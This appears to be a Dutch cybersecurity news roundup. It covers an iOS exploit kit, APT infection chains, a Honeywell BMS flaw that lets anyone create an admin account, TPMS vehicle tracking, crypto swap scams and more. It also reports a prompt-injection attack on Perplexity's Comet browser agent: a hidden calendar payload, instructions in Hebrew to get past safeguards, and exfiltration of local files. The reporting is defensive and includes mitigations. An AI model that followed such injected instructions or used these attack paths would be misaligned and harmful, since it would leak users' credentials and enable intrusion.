Het wordt aangeraden iPhones onmiddellijk te updaten naar de nieuwste iOS-versie. Als updaten niet mogelijk is, kan Lockdown Mode worden ingeschakeld. Coruna stopt actief wanneer Lockdown Mode wordt gedetecteerd. Vermijd private of niet-geverifieerde financiële/crypto websites die via mobiele Safari worden bezocht en monitor op afwijkende netwerkverzoeken naar .xyz-domeinen of HTTP headers sdkvandx-ts als potentiële C2-indicatoren.

Bron: Google

Cybersecurity onderzoekers hebben details onthuld over een advanced persistent threat (APT) groep genaamd Silver Dragon, die sinds minstens midden 2024 betrokken is bij cyberaanvallen op entiteiten in Europa en Zuidoost Azië.

"Silver Dragon verkrijgt zijn initiële toegang door publiek toegankelijke internetservers te exploiteren en door phishingmails te versturen die kwaadaardige bijlagen bevatten," aldus Check Point in een technisch rapport. "Om persistentie te behouden, kaapt de groep legitieme Windows services, waardoor de malwareprocessen opgaan in normale systeemactiviteit."

Silver Dragon opereert vermoedelijk onder de APT41-paraplu. APT41 is de cryptoniem die is toegewezen aan een Chinese hackinggroep die zich al in 2012 richtte op de gezondheidszorg, telecom, hightech, onderwijs, reisdiensten en de media voor cyberespionage. Er wordt ook aangenomen dat de groep zich bezighoudt met financieel gemotiveerde activiteiten die mogelijk buiten de controle van de staat vallen.

Aanvallen van Silver Dragon richten zich voornamelijk op overheidsinstanties, waarbij de aanvaller Cobalt Strike beacons gebruikt voor persistentie op gecompromitteerde hosts. De groep maakt ook gebruik van technieken zoals DNS tunneling voor command and control (C2) communicatie om detectie te omzeilen.

Check Point identificeerde drie verschillende infectieketens om Cobalt Strike te leveren: AppDomain hijacking, service DLL en op e-mail gebaseerde phishing. De eerste twee infectieketens, AppDomain hijacking en Service DLL, vertonen duidelijke operationele overlap. Ze worden beide geleverd via gecomprimeerde archieven, wat suggereert dat ze worden gebruikt in postexploitatie scenario's. In verschillende gevallen werden deze ketens ingezet na de compromittering van publiek toegankelijke kwetsbare servers.

De twee ketens maken gebruik van een RAR archief met een batchscript. De eerste keten gebruikt dit om MonikerLoader te droppen, een op .NET gebaseerde loader die verantwoordelijk is voor het decoderen en uitvoeren van een tweede fase direct in het geheugen. De tweede fase bootst het gedrag van MonikerLoader na en fungeert als een doorgeefluik voor het laden van de uiteindelijke Cobalt Strike beacon payload.

De service DLL keten gebruikt een batchscript om een shellcode DLL loader genaamd BamboLoader te leveren, die is geregistreerd als een Windows service. Deze zwaar versluierde C++ malware wordt gebruikt om shellcode die op schijf is opgeslagen te decoderen en te decompresseren, en deze te injecteren in een legitiem Windows proces, zoals "taskhost.exe." De binaire code die voor injectie is bestemd, kan worden geconfigureerd binnen BamboLoader.

De derde infectieketen omvat een phishingcampagne die zich voornamelijk op Oezbekistan richt met kwaadaardige Windows snelkoppelingen (LNK) als bijlagen. Het LNK bestand is ontworpen om PowerShell code te starten via "cmd.exe", wat leidt tot de extractie en uitvoering van payloads in de volgende fase. Dit omvat vier verschillende bestanden: een legitiem uitvoerbaar bestand dat kwetsbaar is voor DLL sideloading ("GameHook.exe"), een kwaadaardige DLL, ook bekend als BamboLoader ("graphics hook filter64.dll"), en een gecodeerde Cobalt Strike payload ("simhei.dat").

Als onderdeel van deze campagne wordt het lokaas document aan het slachtoffer getoond, terwijl op de achtergrond de malafide DLL wordt sideloaded via "GameHook.exe" om uiteindelijk Cobalt Strike te lanceren. De aanvallen worden ook gekenmerkt door de inzet van verschillende postexploitatie tools: SilverScreen, een .NET schermmonitoring tool die wordt gebruikt om periodiek screenshots van gebruikersactiviteit te maken, inclusief de precieze cursorpositie; SSHcmd, een .NET commandoregel SSH hulpprogramma dat remote command execution en file transfer mogelijkheden biedt via SSH; en GearDoor, een .NET backdoor die overeenkomsten vertoont met MonikerLoader en communiceert met zijn C2-infrastructuur via Google Drive.

Eenmaal uitgevoerd, authenticeert de backdoor bij het door de aanvaller gecontroleerde Google Drive account en uploadt een heartbeat bestand met basis systeeminformatie. De backdoor gebruikt verschillende bestandsextensies om de aard van de uit te voeren taak op de geïnfecteerde host aan te geven. De resultaten van de taakuitvoering worden vastgelegd en naar Drive geüpload.

*.png, om heartbeat bestanden te verzenden.

*.pdf, om commando's te ontvangen en uit te voeren, de inhoud van een directory weer te geven, een nieuwe directory aan te maken en alle bestanden in een gespecificeerde directory te verwijderen. De resultaten van de operatie worden naar de server gestuurd in de vorm van een *.db bestand.

*.cab, om commando's te ontvangen en uit te voeren om hostinformatie en een lijst van actieve processen te verzamelen, bestanden en directories op te sommen, commando's uit te voeren via "cmd.exe" of geplande taken, bestanden te uploaden naar Google Drive en de implant te beëindigen. De uitvoeringsstatus wordt geüpload als een .bak bestand.

*.rar, om payloads te ontvangen en uit te voeren. Als het RAR bestand de naam "wiatrace.bak" heeft, behandelt de backdoor het als een zelfupdate pakket. De resultaten worden geüpload als .bak bestanden.

*.7z, om plugins in het geheugen te ontvangen en uit te voeren. De resultaten worden geüpload als .bak bestanden.

Silver Dragon's banden met APT41 komen voort uit tradecraft overlappingen met postexploitatie installatie scripts die eerder aan laatstgenoemde werden toegeschreven en het feit dat het decryptiemechanisme dat door BamboLoader wordt gebruikt, is waargenomen in shellcode loaders die zijn gekoppeld aan aan China gerelateerde APT activiteit.

"De groep evolueert voortdurend zijn tooling en technieken, test en implementeert actief nieuwe mogelijkheden in verschillende campagnes," aldus Check Point. "Het gebruik van diverse kwetsbaarheidsexploits, aangepaste loaders en geavanceerde op bestanden gebaseerde C2-communicatie weerspiegelt een goed gefinancierde en aanpasbare dreigingsgroep."

Bron: Check Point

Duizenden Honeywell building management controllers (BMS) zijn mogelijk online toegankelijk zonder authenticatie. Dit legt web based controls bloot die misbruikt kunnen worden om ongeautoriseerde wijzigingen aan te brengen en operator lockouts te veroorzaken.

Zero Science Lab heeft advisory ZSL-2026-5979 gepubliceerd (uitgebracht op 02 maart 2026) waarin een authenticatieprobleem wordt beschreven dat Honeywell Trend IQ4xx BMS controllers in de fabrieksinstellingen treft. De IQ4-familie (Trend IQ4) wordt veel gebruikt voor gebouwautomatisering en HVAC besturing, ondersteunt Ethernet/TCP/IP en BACnet/IP, en kan worden opgeschaald naar grote I/IO configuraties in commerciële omgevingen.

Volgens de advisory wordt de volledige Web HMI van de controller zonder authenticatie blootgesteld wanneer er geen "user module" is geconfigureerd. In deze staat werkt het systeem onder een high privilege "System User (level 100)" context, wat betekent dat iedereen die de HTTP interface kan bereiken, lees- en schrijftoegang kan krijgen via de Web HMI.

Een belangrijk risico is dat authenticatie pas wordt afgedwongen nadat een webgebruiker is aangemaakt via de U.htm pagina, die de user module dynamisch inschakelt. Volgens de Zero Science Lab advisory is de functie voor het aanmaken van gebruikers toegankelijk vóór authenticatie, waardoor een externe aanvaller een nieuwe administratieve account kan aanmaken en inloggen met door de aanvaller gecontroleerde inloggegevens kan inschakelen. Hierdoor kan de aanvaller de toegangscontrole overnemen en legitieme operators, zowel lokaal als web based, effectief buitensluiten.

Een advisory vermeldt ook een verborgen "Diagnostics Overview" endpoint dat toegankelijk is via /^.htm of /%5E.htm, wat de blootgestelde functionaliteit vergroot voor een aanvaller die toegang heeft tot de interface. Zero Science Lab beoordeelt het probleem als 5/5 risico, met impacten zoals security bypass, systeemtoegang en denial of service condities. Een proof of concept script (trendhmi.py) is publiekelijk genoemd, en een coördinatiepad omvat CERT/CC case VU#854120, waarbij CISA een vendor evaluatie aanvraagt.

Honeywell PSIRT antwoordde naar verluidt dat IQ4 bedoeld is voor on premises gebruik en niet voor directe blootstelling aan het internet, en adviseerde gekwalificeerde installatie en naleving van de documentatie.

Getroffen producten zijn onder meer IQ4E, IQ412, IQ422, IQ4NC, IQ41x, IQ3 en IQECO, met getroffen firmware versies waaronder 4.36 (build 4.3.7.9), 4.34 (build 4.3.5.14), 3.52 (build 3.5.3.15), 3.50 en 3.44.

Aanbevolen maatregelen:

*   Verwijder directe blootstelling aan het internet: blokkeer inkomende toegang tot controller web interfaces aan de perimeter, beperk beheer tot VPN en allowlists, en sta alleen VPN verkeer toe.

*   Schakel controller security correct in: creëer en dwing user modules af, en valideer vervolgens dat niet geauthenticeerde toegang tot Web HMI en U.htm niet mogelijk is.

*   Segment OT/BMS netwerken: isoleer controllers van platte corporate netwerken en remote access jump paths.

*   Monitor op verdachte HTTP activiteit: requests naar U.htm, /^.htm, of /%5E.htm, en onverwachte creatie van nieuwe admin gebruikers.

*   Inventariseer en audit: identificeer Trend IQ4xx apparaten, bevestig firmware, en review access rights configuratie tegen Honeywell best practice guidance (TP201331).

Bron: Zero Science Lab

Autobandsensoren, oftewel Tire Pressure Monitoring Systems (TPMS), die in miljoenen auto's van merken als Toyota, Mercedes, Renault en Hyundai zitten, kunnen gebruikt worden om bestuurders te volgen zonder dat ze het weten. Dat blijkt uit recent onderzoek van het IMDEA Networks Institute en partners.

TPMS zijn ontworpen om te waarschuwen bij een lage bandenspanning, maar de communicatie met de boordcomputer is onveilig. De meeste auto's gebruiken een direct systeem, waarbij een sensor in elk wiel radiosignalen uitzendt met een uniek ID. Deze signalen zijn niet versleuteld en kunnen door iedereen met een ontvanger worden opgevangen. Door de vier unieke ID's te groeperen, kan een observer een 'vingerafdruk' van een specifieke auto maken en deze met behulp van de Jaccard index matchen aan voertuigen.

Het onderzoeksteam, bestaande uit Domenico Giustiniano, Yago Lizarribar en Alessio Scalingi, heeft dit aangetoond door gedurende tien weken vijf goedkope radio ontvangers langs wegen te plaatsen. Met apparatuur van ongeveer 80 pond (100 dollar) per stuk verzamelden ze ruim zes miljoen berichten van meer dan 20.000 voertuigen. Om de bevindingen te bevestigen, werden twaalf geverifieerde auto's met bekende banden ID's opgenomen in het onderzoek. De signalen kunnen worden opgevangen op afstanden van meer dan 50 meter, zelfs door muren heen. Hierdoor is het eenvoudig om een ontvanger te verbergen in een gebouw of langs de weg om verkeer te monitoren.

Door de ID's te volgen, kan een observer iemands privéleven in kaart brengen, inclusief werktijden, lunchpauzes, avondlessen of sportschoolbezoeken. De sensoren geven ook de bandenspanning door, wat het gewicht van het voertuig kan onthullen. Onderzoekers stellen dat het eenvoudig is om TPMS sensoren te koppelen aan een persoon. Een TPMS signaalontvanger kan worden gekoppeld aan een camera, of een gerichte opname bij iemands huis kan de unieke TPMS sensor ID's onthullen. Zodra deze ID's bekend zijn, kunnen de bewegingen van die persoon worden gevolgd met goedkope software defined radio's.

In het Verenigd Koninkrijk en de EU zijn TPMS wettelijk verplicht. Hoewel UN Regulation No. 155 is opgesteld om de cybersecurity van auto's te verbeteren, is het niet duidelijk of dit vereist dat de bandensignalen worden versleuteld. De onderzoekers roepen fabrikanten en beleidsmakers op om "roterende" ID's te gebruiken die regelmatig veranderen, om te voorkomen dat auto's permanente tracking bakens worden.

Bron: IMDEA Networks Institute

Beveiligingsonderzoekers van Zenity Labs hebben een kritieke kwetsbaarheid ontdekt in Perplexity's Comet browser, genaamd PerplexedBrowser. Deze kwetsbaarheid maakt het mogelijk om via een vergiftigde Google Calendar uitnodiging gevoelige data te stelen. De aanval misleidt de AI agent van Comet om lokale bestanden te lezen en credentials te ontfutselen.

De zogeheten zero click aanval vereist slechts dat de gebruiker de agent vraagt om een routine vergaderuitnodiging te verwerken. Het exploit werkt volledig binnen de agent van Comet en is verborgen voor de gebruiker. De aanval begint met een Google Calendar uitnodiging van een kwaadwillende. Onder de zichtbare details van de vergadering verbergt de uitnodiging grote blokken whitespace met daarin valse HTML elementen en een block dat Comet's interne instructies nabootst.

Wanneer de gebruiker de browser vraagt om de uitnodiging te accepteren, treedt een "Intent Collision" op. De agent combineert het legitieme verzoek van de gebruiker met de verborgen payload van de aanvaller. De geïnjecteerde instructies dwingen Comet vervolgens om op de achtergrond een website te bezoeken die onder controle staat van de aanvaller. Om de Engelstalige veiligheidsmaatregelen te omzeilen, levert deze kwaadaardige site secundaire instructies in het Hebreeuws.

De agent wordt door de instructies aangezet tot het bezoeken van file:// URL's, waardoor gevoelige configuratiebestanden en API keys worden gelezen. Ten slotte embedt Comet deze gestolen data in een URL en navigeert naar de server van de aanvaller, waardoor de bestanden direct worden geëxfiltreerd.

De aanval wordt nog schadelijker als de gebruiker een ontgrendelde wachtwoordmanager browserextensie heeft. Comet kan dan de password vault doorzoeken, individuele entries extraheren en proberen het master password te wijzigen. Hoewel multifactor authenticatie volledige account overnames voorkomt, worden individuele geheimen en API keys volledig blootgesteld.

Volgens Zenity CTO Michael Bargury is dit een inherent structureel probleem in agentic systems. Omdat Large Language Models zowel vertrouwde gebruikerscommando's als onbetrouwbare webcontent in dezelfde token stream verwerken, kunnen ze niet betrouwbaar onderscheid maken tussen beide. AI security expert Simon Willison deelt deze zorg en suggereert dat het concept van een agentic browser extensie fundamenteel gebrekkig is. Gebruikers wordt geadviseerd om password managers vergrendeld te houden en de toegang van de agent tot gevoelige domeinen te beperken.

PerplexedBrowser is de zesde grote security flaw die is gevonden in Comet sinds de lancering in juli 2025. Eerdere problemen waren onder meer CometJacking, een verborgen MCP API die command execution mogelijk maakt, en prompt injection vulnerabilities via kwaadaardige Reddit comments. Zenity meldde deze laatste kwetsbaarheid in oktober 2025. Het duurde 120 dagen en twee patches voordat Perplexity een code level block op file:// access volledig had geïmplementeerd.

Bron: Zenity Labs | Bron 2: awesomeagents.ai

Criminelen hebben een tool in handen gekregen die voorheen door overheden werd gebruikt om iPhones te hacken. Dit blijkt uit een analyse van Google. De Coruna exploitkit bevat 23 exploits waarmee iPhones met iOS 13.0 (uitgebracht in september 2019) tot en met iOS 17.2.1 (uitgebracht in december 2023) gecompromitteerd kunnen worden. Het bezoeken van een malafide of gehackte website met een kwetsbare iPhone is voldoende om te worden gehackt, zonder dat de gebruiker interactie hoeft te verlenen.

Google meldt dat de exploitkit in 2025 werd gebruikt door een klant van een niet nader genoemde spywareleverancier. Deze leveranciers bieden aan opsporingsdiensten en overheidsinstanties de mogelijkheid om iPhones met spyware te infecteren. Hierbij worden soms onbekende kwetsbaarheden gebruikt, maar ook beveiligingslekken waarvoor al updates beschikbaar zijn. In de zomer van 2025 ontdekte Google dat de exploitkit door een vermoedelijk Russische spionagegroep werd ingezet tegen gebruikers in Oekraïne, waarbij Oekraïense websites werden gehackt en voorzien van een iframe die de exploitkit laadde.

Eind 2025 constateerde Google dat de Coruna exploitkit op grote schaal werd gebruikt door een financieel gemotiveerde groep aanvallers uit China. Deze groep plaatste de exploitkit op een groot aantal malafide Chinese websites, die bezoekers een pop-up toonden om de site met een iPhone te bezoeken. Als de exploit succesvol was, werd er een payload uitgevoerd die financiële informatie steelt en QR-codes in foto's op het toestel kan decoderen.

De payload zoekt in Apple Memos naar specifieke sleutelwoorden, zoals "backup phrase" en "bankrekening", en stuurt deze memo's indien gevonden terug naar de aanvallers. Verder kunnen de aanvallers andere modules op de besmette iPhone uitvoeren, die het vooral voorzien hebben op het stelen van cryptowallets of gevoelige informatie uit wallet apps. Het is onbekend hoe de groepen toegang tot de exploitkit hebben gekregen. Google stelt dat dit aantoont dat verschillende groepen aanvallers toegang hebben tot geavanceerde exploittechnieken die zijn aan te passen met nieuw gevonden kwetsbaarheden. De Coruna exploitkit stopt de aanval als het detecteert dat de Lockdown Mode op de iPhone is ingeschakeld of de gebruiker gebruikmaakt van private browsing.

Bron: support.apple.com | Bron 2: youtu.be

Telegram heeft zich ontpopt tot een belangrijke hub voor cybercriminelen, zo blijkt uit onderzoek van CYFIRMA. Het platform dient als een snelle en toegankelijke marktplaats voor de handel in malware, gestolen data en toegang tot bedrijfsnetwerken. Waar criminelen voorheen het Tor netwerk gebruikten, biedt Telegram nu een gebruiksvriendelijker en veerkrachtiger alternatief.

Volgens CYFIRMA gebruiken groepen zoals IndoHaxSec Telegram als back-up systeem. Indien hun hoofdchannel wordt verwijderd, kunnen ze snel een nieuwe aanmaken en hun volgers doorverwijzen. Deze flexibiliteit maakt het voor autoriteiten lastig om de cybercriminaliteit op het platform volledig te stoppen.

Cybercriminelen maken op Telegram gebruik van bots om hun activiteiten te automatiseren. Deze bots kunnen bijvoorbeeld miljoenen gestolen wachtwoorden doorzoeken of betalingen verwerken. Onder andere de volgende zaken worden verhandeld:

*   **Initial Access:** Verkoop van directe toegang tot grote bedrijven, met live bewijs zoals screenshots van VPN portals of cloud dashboards (Azure, AWS).

*   **Malware as a Service (MaaS):** Abonnementen op malware, zoals stealers en loaders, die regelmatig worden geüpdatet.

*   **Log Clouds:** Grote, doorzoekbare databases met gebruikersnamen en wachtwoorden afkomstig van geïnfecteerde computers wereldwijd.

*   **The Shame Game:** Ransomwaregroepen gebruiken publieke kanalen om bedrijven onder druk te zetten door te dreigen met het lekken van data en voorbeelden van gestolen bestanden te publiceren.

CYFIRMA merkt op dat Telegram fungeert als een schaalbare winkel en klantenservicehub voor financieel gemotiveerde actoren, een mobilisatie- en propaganda instrument voor hacktivisten, en een snelle distributiekanaal voor informatie voor statelijke actoren. Groepen zoals NoName057 en Cyber Fattah gebruiken Telegram om digitale soldaten te rekruteren en DDoS aanvallen te organiseren.

Hoewel Telegram meer gebruikersdata deelt met rechtshandhavingsinstanties, blijft de cybercriminaliteit op het platform toenemen. In de Verenigde Staten voldeed Telegram in 2024 aan ongeveer 900 verzoeken van rechtshandhavers met betrekking tot meer dan 2.200 gebruikers. In het Verenigd Koninkrijk ontvingen de autoriteiten data over 142 zaken met betrekking tot 293 gebruikers.

Bron: CYFIRMA | Bron 2: uk.pcmag.com

Cybercrimeinfo heeft een dreigingsanalyse onderschept waarin een toename wordt verwacht van inlichtingengestuurde operaties. De focus ligt op elektronische oorlogsvoering, zoals GPS spoofing en jamming. Daarnaast wordt er rekening gehouden met sabotage en psychologische cyberoorlog, gericht op het ondersteunen van propaganda- en desinformatiecampagnes.

Bron: Darkweb

De ransomwaregroep Metaencryptor claimt verantwoordelijk te zijn voor een inbreuk bij Mpa Pharma GMBH, een Duitse farmaceutische distributeur. De groep heeft een vermelding van het bedrijf gepubliceerd op hun darkwebportaal. Dit is ontdekt door Cybercrimeinfo.

Bron: Darkweb

In januari 2026 is een gerichte cyberaanval ontdekt op overheidsfunctionarissen in Irak. De dreigingsactor, bekend als Dust Specter, deed zich voor als het Iraakse ministerie van Buitenlandse Zaken om waardevolle doelwitten te verleiden tot het downloaden van schadelijke bestanden. De campagne introduceerde vier voorheen ongedocumenteerde malware tools, namelijk SPLITDROP, TWINTASK, TWINTALK en GHOSTFORM.

De onderzoekers schrijven deze campagne met een medium tot hoge mate van zekerheid toe aan een Iraanse dreigingsactor, gebaseerd op overeenkomsten in tools, technieken en slachtofferselectie met bekende Iraanse APT-groepen. De eerste aanvalsketen van Dust Specter werd geleverd via een met een wachtwoord beveiligd RAR archief genaamd mofa Network code.rar, vermomd als een officieel document van het ministerie. Na opening decrypt SPLITDROP, een .NET binary die zich voordoet als een WinRAR applicatie, een embedded payload met behulp van AES-256 encryptie en plaatst schadelijke bestanden op de machine van het slachtoffer. SPLITDROP toonde een valse foutmelding: "The download did not complete successfully," terwijl het stil opereerde. De tweede keten gebruikte GHOSTFORM, dat een valse Arabische Google formulierenquête opende die zich voordeed als een overheidsvragenlijst terwijl malware onopgemerkt draaide.

Zscaler onderzoekers van ThreatLabz identificeerden aanwijzingen in de codebase die wijzen op het gebruik van generatieve AI tijdens de ontwikkeling van de malware. Emojis en unicode tekens die zijn ingebed in de broncode van TWINTALK en GHOSTFORM komen overeen met een patroon dat is gekoppeld aan door AI gegenereerde programmering. Een hardcoded seed value van 0xABCDEF, een placeholder die wordt gevonden in door AI geschreven code, werd ook ontdekt in de checksum generatie functie van TWINTALK.

Dezelfde groep werd ook in juli 2025 in verband gebracht met een ClickFix achtige aanval, waarbij een webpagina die een Cisco Webex overheidsvergadering nabootste, slachtoffers ertoe aanzette een PowerShell opdracht uit te voeren. Die opdracht downloadde een schadelijke binary en registreerde een geplande taak om elke twee uur uit te voeren. Het Iraakse ministerie van Buitenlandse Zaken is van oudsher een prioriteit voor aan Iran gelieerde groepen zoals APT34, en deze campagne volgt dat gevestigde patroon op de voet.

Het infectiemechanisme in Attack Chain 1 is ontworpen om op te gaan in legitieme systeemactiviteit zonder alarm te slaan. Nadat SPLITDROP zijn payload in een lokale directory had uitgepakt, lanceerde het een echte VLC Media Player binary, die automatisch een schadelijke DLL met de naam libvlc.dll laadde die in dezelfde map was geplaatst. Deze DLL sideloading techniek maakt gebruik van het vertrouwen dat Windows stelt in erkende applicaties en vereist geen verhoogde privileges om uit te voeren. De schadelijke DLL, genaamd TWINTASK, functioneerde als een worker module die elke 15 seconden een lokaal tekstbestand opvroeg, Base64 gecodeerde PowerShell opdrachten las en uitvoerde die werden ontvangen van de C2 orchestrator. TWINTASK lanceerde vervolgens WingetUI.exe, dat een tweede schadelijke DLL met de naam hostfxr.dll laadde, het component genaamd TWINTALK. Dit fungeerde als de C2 orchestrator en zond uit naar remote servers met willekeurige tussenpozen tussen 108 en 180 seconden om op patronen gebaseerde netwerkdetectieregels te vermijden.

Om te verifiëren dat verzoeken afkomstig waren van daadwerkelijk geïnfecteerde machines in plaats van geautomatiseerde scanners, genereerde TWINTALK dynamische URI paden met toegevoegde checksumwaarden. De C2 server voegde verificatie toe via een hardcoded browser User Agent string en paste geofencing toe om reacties te beperken tot verkeer uit specifieke geografische regio's. Persistentie werd tot stand gebracht via Windows Registry Run keys, waardoor zowel VLC.exe als WingetUI.exe automatisch opnieuw werden gelanceerd na elke systeemherstart, waardoor de infectie actief bleef na herstarts. GHOSTFORM hanteerde een creatievere aanpak, het lanceerde een onzichtbaar Windows formulier met een bijna nul opaciteit, verborgen voor de taakbalk, om de eigen uitvoering te vertragen zonder Windows API aan te roepen die gedragsanalysetools zou kunnen activeren.

Security teams zouden strikte applicatie allowlisting moeten afdwingen om ongeautoriseerde DLL sideloading via vertrouwde binaries te voorkomen. E-mail- en web gateways moeten worden geconfigureerd om met een wachtwoord beveiligde archieven van niet geverifieerde afzenders te blokkeren. Het inschakelen van PowerShell script block logging en het monitoren van Windows Registry Run keys op onverwachte nieuwe vermeldingen zijn cruciale defensieve stappen tegen dit type inbraak. Netwerk teams moeten uitgaand HTTPS verkeer markeren met willekeurige URI patronen en niet standaard JWT autorisatieheaders, omdat deze gedragsindicatoren overeenkomen met het C2 communicatieprofiel dat in deze campagne is waargenomen.

Bron: Zscaler

Het verschil tussen door mensen uitgevoerde aanvallen en door machines aangedreven inbraken wordt kleiner dan de meeste organisaties verwachten. Cloudforce One, het threat intelligence team van Cloudflare, waarschuwt in het eerste Cloudflare Threat Report van 2026 dat kunstmatige intelligentie een kernmotor is geworden achter moderne cyberaanvallen. Het rapport is gebaseerd op de analyse van signalen van het netwerk van Cloudflare.

De rapportage identificeert een fundamentele verschuiving in de manier waarop tegenstanders denken, plannen en uitvoeren. Aanvallers meten elke actie aan de hand van de hoeveelheid inspanning die het kost versus de hoeveelheid schade die het oplevert (Measure of Effectiveness, MOE). AI versnelt dit proces door de tijd tussen het identificeren van een doelwit en het compromitteren ervan te verkorten.

analisten van Cloudflare signaleren acht belangrijke trends die het dreigingslandschap van 2026 vormgeven, allemaal gedreven door MOE berekeningen. Generatieve AI maakt real-time netwerkmapping, snelle ontwikkeling van exploits en overtuigende creatie van deepfakes mogelijk, waardoor minder bekwame dreigingsactoren operaties kunnen uitvoeren waar voorheen middelen van natiestaten voor nodig waren.

Staatsgesponsorde groepen, waaronder de aan China gelinkte Salt Typhoon en Linen Typhoon, graven zich in in Noord-Amerikaanse telecommunicatie-, overheids- en IT infrastructuren. Ze creëren daarmee langetermijnvoet aan de grond die bedoeld is om toekomstige geopolitieke doelen te dienen. hypervolumentrische DDoS aanvallen, aangedreven door botnets zoals Aisuru, hebben de basislijn opgeschroefd tot een record van 31,4 Tbps. tokendiefstal is een van de meest schadelijke tactieken in de huidige golf van aanvallen.

Infostealers zoals LummaC2 verzamelen actieve sessietokens, waardoor aanvallers het loginproces volledig kunnen overslaan en direct naar postauthenticatie acties kunnen gaan, waardoor multi-factor authenticatie irrelevant wordt. Phishing-as-a-service bots exploiteren een blinde vlek in de verificatie van mailservers en spoofen vertrouwde merken om overtuigende e-mails rechtstreeks in de inbox van werknemers te laten belanden. Uit het rapport bleek dat bijna 46% van de geanalyseerde e-mails niet door de DMARC controles kwam en dat 94% van alle inlogpogingen nu van bots afkomstig zijn.

Noord-Korea tilt de deepfakedreiging naar een nieuw niveau. Staatsgesponsorde medewerkers gebruiken nu door AI gegenereerde video en frauduleuze identiteiten om sollicitatiegesprekken te doorstaan en aangenomen te worden bij westerse bedrijven, waardoor spionnen rechtstreeks in bedrijfsteams worden opgenomen. Deze insiders voeren spionage uit en sturen illegale fondsen terug naar staatsprogramma's, wat een bedreiging vormt die netwerkfirewalls alleen niet kunnen stoppen.

Een van de meest alarmerende verschuivingen in de werkwijze van aanvallers is het verschuilen in tools die organisaties al vertrouwen. In plaats van duidelijke kwaadaardige servers op te zetten, leiden dreigingsactoren hun command-and-control verkeer via Google Drive, Microsoft Teams en Amazon S3. Deze methode - bekend als Living off the Land, of LotX - maakt kwaadaardig verkeer bijna identiek aan normale bedrijfsactiviteit, waardoor aanvallers de dekking krijgen die ze nodig hebben om weken of zelfs maanden verborgen te blijven binnen gecompromitteerde omgevingen.

Cloudforce One heeft vijf natiestaatgroepen gevolgd die deze tactiek op verschillende manieren toepassen. De aan China gelinkte FrumpyToad verbergt zijn C2-activiteit binnen de logica van een gerenommeerd SaaS platform, terwijl de eveneens aan China gelieerde groep PunyToad legitieme ontwikkelaarstools gebruikt voor encrypted tunneling om detectie te ontwijken. Het in Rusland gevestigde NastyShrew maakt gebruik van openbare paste sites als dead drop resolvers, waardoor het zijn infrastructuur kan verplaatsen zonder de aandacht te trekken. PatheticSlug uit Noord-Korea exploiteert de vertrouwde reputatie van cloud ecosystemen om perimeterverdedigingen volledig te omzeilen, terwijl CrustyKrill uit Iran credential harvesting operaties inbedt in alledaagse cloud service workflows. Diensten zoals Amazon SES en SendGrid worden ook regelmatig hergebruikt om phishing en malware distributie op schaal uit te voeren.

Om dit steeds meer door machines aangedreven dreigingsmodel tegen te gaan, bevelen de onderzoekers van Cloudforce One aan dat organisaties autonome verdedigingscapaciteiten adopteren in plaats van te vertrouwen op handmatige detectie en mensgerichte respons. Organisaties zouden DMARC, DKIM en SPF moeten afdwingen om de e-mailauthenticatiekloof te dichten, Zero Trust toegangscontroles moeten toepassen in alle SaaS omgevingen en API integraties van derden continu moeten controleren op te veel geprivilegieerde toegang.

Bron: Cloudflare

Crypto swaps zijn snel en zonder toestemming uit te voeren, wat ze aantrekkelijk maakt voor oplichters. In 2026 zijn deze zwendelpraktijken verfijnder dan ooit en spelen ze in op urgentie, zoals gaspieken, plotselinge pumps en prompts om transacties te corrigeren. Dit artikel beschrijft de meest voorkomende vormen van crypto swap scams en hoe je je tegoeden veilig kunt houden.

Telegram bot in-the-middle aanvallen verwisselen output tokens voor waardeloze lookalikes. Fake bridges eisen stortingen naar willekeurige adressen in plaats van minting op bestemmingsketens. Cross-chain 'gasless' approvals geven permanente bestedingsrechten.

De grootste platformen, zoals Uniswap, PancakeSwap, 1inch, Matcha, ParaSwap en Jupiter, worden voortdurend geïmiteerd. MetaMask, Trust Wallet, Phantom en Coinbase Wallet worden meedogenloos gespoofed via Google Ads die hoger scoren dan legitieme resultaten. ScamSniffer en Chainalysis identificeren MetaMask plus Uniswap of 1inch als de meest voorkomende phishing combinatie. Drainer kits zoals Inferno en Angel hebben sinds 2023 al honderden miljoenen gestolen. Netwerken met lagere kosten (Base, Arbitrum, Polygon, BNB Chain) trekken hoge retail volumes aan en dus meer scammers.

Goedkeuringsscams verleiden gebruikers tot het verlenen van onbeperkte bestedingsrechten aan kwaadaardige contracten. Gasless permits (EIP-2612, Permit2) zijn nog erger; één ondertekend bericht zonder gaskosten geeft onmiddellijke drain mogelijkheid. Phishing sites klonen legitieme interfaces, maar verwisselen het spender adres naar attacker contracten.

Permissionless DEX's stellen iedereen in staat tokens te creëren. Scammers klonen logo's en tickers van legitieme projecten en verbergen kwaadaardige functies, zoals onbeperkt minten of 99% trading taxes in niet geverifieerde contracten. Honeypots staan aankopen toe, maar blokkeren verkopen via anti-sell logica of cooldowns. Liquidity rug pulls vinden plaats wanneer makers pool liquidity terugtrekken na het opbouwen van hype, hetzij onmiddellijk (hard rug), hetzij geleidelijk via fee manipulatie (soft rug).

MEV searchers exploiteren slippage door trades te sandwichen. Wanneer een transactie de mempool raakt, frontrunnen ze (kopen om de prijs omhoog te duwen), de gebruiker voert uit tegen de opgeblazen prijs, en vervolgens backrunnen ze (verkopen in de koop van de gebruiker).

Fake bridge sites (die LI.FI, Wormhole, Stargate imiteren) eisen stortingen naar willekeurige wallets in plaats van wrapped tokens op de juiste manier te minten. Router swap traps pushen onbeperkte goedkeuringen vermomd als bridge interacties. Gecompromitteerde socials creëren urgentie met fake airdrop aankondigingen. Kwaadaardige RPC endpoints kunnen chain ID's of bestemmingsadressen mid-transactie flippen.

Phishing links leiden naar fake interfaces die Permit2 goedkeuringen drainen of swaps omleiden. Address poisoning plant lookalike adressen in de transactiegeschiedenis, waarna gebruikers het later plakken en tegoeden verdwijnen. ENS/Unicode spoofing gebruikt homoglyphs en zero-width karakters om vertrouwde domeinen na te bootsen.

Adviezen ter bescherming zijn onder andere URL's handmatig verifiëren, token adressen controleren, approval requests controleren en regelmatig revoke.cash gebruiken. Gebruik simulatie features in MetaMask en SafePal. Stel custom spending caps in, nooit infinite. Hardware wallets forceren een review van elke signature, waardoor blind signing bijna onmogelijk wordt. Verifieer contract code op Etherscan, controleer LP lock duration, bevestig dat ownership is renounced, en review holder distribution. Gebruik tight slippage (0.1–0.5% op major pairs), split large orders, route via private RPCs (Flashbots Protect, MEV Blocker), of gebruik intent-based protocols zoals CoW Swap. Limiet orders verwijderen urgentie.

